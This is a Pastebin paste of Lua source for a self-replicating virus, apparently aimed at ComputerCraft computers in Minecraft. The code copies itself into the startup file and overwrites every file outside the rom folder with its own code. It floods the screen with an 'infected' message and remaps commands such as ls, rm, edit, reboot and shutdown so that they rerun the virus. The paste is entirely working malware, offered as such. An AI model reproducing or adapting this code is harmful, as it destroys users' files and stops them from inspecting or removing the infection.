Advertisement
Guest User

startup

a guest
Nov 20th, 2017
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.35 KB | None | 0 0
  1.  
  2.  
  3. local w, h = term.getSize()
  4.  
  5.  
  6.  
  7. function disPlace()
  8.  
  9.     shell.clearAlias("ls")
  10.  
  11.     shell.clearAlias("dir")
  12.  
  13.     shell.clearAlias("cp")
  14.  
  15.     shell.clearAlias("mv")
  16.  
  17.     shell.clearAlias("rm")
  18.  
  19.     shell.setAlias("ls", "startup")
  20.  
  21.     shell.setAlias("dir", "startup")
  22.  
  23.     shell.setAlias("cp", "startup")
  24.  
  25.     shell.setAlias("mv", "startup")
  26.  
  27.     shell.setAlias("rm", "startup")
  28.  
  29.     shell.setAlias("list", "startup")
  30.  
  31.     shell.setAlias("edit", "startup")
  32.  
  33.     shell.setAlias("reboot", "startup")
  34.  
  35.     shell.setAlias("shutdown", "startup")
  36.  
  37.     shell.setAlias("lua", "startup")
  38.  
  39.     shell.setAlias("delete", "startup")
  40.  
  41.     shell.setAlias("help", "startup")
  42.  
  43.     shell.setPath(":::VIRUS:::")
  44.  
  45.     shell.setDir(":::VIRUS:::")
  46.  
  47. end
  48.  
  49.  
  50.  
  51. function printCentered(y, s)
  52.  
  53.     term.setCursorPos(w / 2 - string.len(s) / 2, y)
  54.  
  55.     write(s)
  56.  
  57. end
  58.  
  59.  
  60.  
  61. function payload()
  62.  
  63.     local payLoadCharacters = {0, 1, "|", "-", "+"}
  64.  
  65.     for i=1,50000 do
  66.  
  67.         os.queueEvent("randomEvent")
  68.  
  69.         os.pullEvent()
  70.  
  71.         term.setCursorPos(math.random(1, w), math.random(1, h))
  72.  
  73.         local index = math.random(1, table.getn(payLoadCharacters))
  74.  
  75.         write(payLoadCharacters[index])
  76.  
  77.         printCentered(h / 2, "You Got Virus Infected!")
  78.  
  79.     end
  80.  
  81.     sleep(5)
  82.  
  83.     term.clear()
  84.  
  85.     term.setCursorPos(1, 1)
  86.  
  87.     print("Infected "..os.version())
  88.  
  89. end
  90.  
  91.  
  92.  
  93. function infectDir(Directory, Injection)
  94.  
  95.     local sDir = shell.dir()
  96.  
  97.     sDir = shell.resolve( Directory )
  98.  
  99.     local tAll = fs.list( sDir )
  100.  
  101.     local tFiles = {}
  102.  
  103.     local tDirs = {}
  104.  
  105.     for n, sItem in pairs( tAll ) do
  106.  
  107.         if string.sub( sItem, 1, 1 ) ~= "." then
  108.  
  109.             local sPath = fs.combine( sDir, sItem )
  110.  
  111.             if fs.isDir( sPath ) then
  112.  
  113.                 table.insert( tDirs, sItem )
  114.  
  115.             else
  116.  
  117.                 table.insert( tFiles, sItem )
  118.  
  119.             end
  120.  
  121.         end
  122.  
  123.     end
  124.  
  125.     table.sort( tDirs )
  126.  
  127.     table.sort( tFiles )
  128.  
  129.    
  130.  
  131.     for i=1,table.getn(tFiles) do
  132.  
  133.         local filewritex = fs.open(Directory.."/"..tFiles[i], "w")
  134.  
  135.         filewritex.write(Injection)
  136.  
  137.         filewritex.close()
  138.  
  139.     end
  140.  
  141.     for i=1,table.getn(tDirs) do
  142.  
  143.         if tDirs[i] ~= "rom" then
  144.  
  145.             infectDir(Directory.."/"..tDirs[i], Injection)
  146.  
  147.         end
  148.  
  149.     end
  150.  
  151.    
  152.  
  153. end
  154.  
  155.  
  156.  
  157. local virusread = fs.open(shell.getRunningProgram(), "r")
  158.  
  159. local viruscode = virusread.readAll()
  160.  
  161. virusread.close()
  162.  
  163.  
  164.  
  165. local filewritev = fs.open("startup", "w")
  166.  
  167. filewritev.write(viruscode)
  168.  
  169. filewritev.close()
  170.  
  171.  
  172.  
  173. infectDir("", viruscode)
  174.  
  175.  
  176.  
  177. if fs.exists("EOF") == false then
  178.  
  179.     payload()
  180.  
  181.     fs.makeDir("EOF")
  182.  
  183. end
  184.  
  185.  
  186.  
  187. disPlace()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement